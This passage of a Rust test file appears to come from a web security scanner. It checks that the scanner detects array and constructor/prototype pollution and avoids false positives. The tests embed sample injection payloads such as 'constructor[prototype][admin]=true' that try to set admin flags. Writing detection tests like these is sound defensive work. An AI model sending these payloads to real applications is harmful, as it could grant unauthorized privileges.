assert!(!scanner.detect_array_pollution(r#"{"message":"success"}"#, "users[0][admin]=true"));
}
#[test]
fn test_detect_constructor_injection() {
let scanner = create_test_scanner();
let payload_with_marker = format!("constructor[{}]=injected", scanner.test_marker);
let body_with_marker = format!(
r#"{{"constructor":{{"{}":"injected"}}}}"#,
scanner.test_marker
);
assert!(scanner.detect_constructor_injection(&body_with_marker, &payload_with_marker));
assert!(scanner.detect_constructor_injection(
r#"{"constructor":{"name":"admin"}}"#,
"constructor[name]=admin"
));
assert!(scanner.detect_constructor_injection(
r#"{"constructor":{"prototype":{"admin":true}}}"#,
"constructor[prototype][admin]=true"
));
assert!(scanner.detect_constructor_injection(
r#"{"constructor":"modified"}"#,
"constructor[test]=value"
));
}
#[test]
fn test_detect_constructor_injection_no_false_positives() {
let scanner = create_test_scanner();
assert!(!scanner.detect_constructor_injection(
"<html>Constructor pattern</html>",
"constructor[test]=value"
));
assert!(!scanner
.detect_constructor_injection(r#"{"message":"success"}"#, "constructor[test]=value"));
}
#[test]
fn test_unique_test_marker() {
let scanner1 = create_test_scanner();
let scanner2 = create_test_scanner();
assert_ne!(scanner1.test_marker, scanner2.test_marker);
assert!(scanner1.test_marker.starts_with("ma_"));
assert!(scanner2.test_marker.starts_with("ma_"));
}
}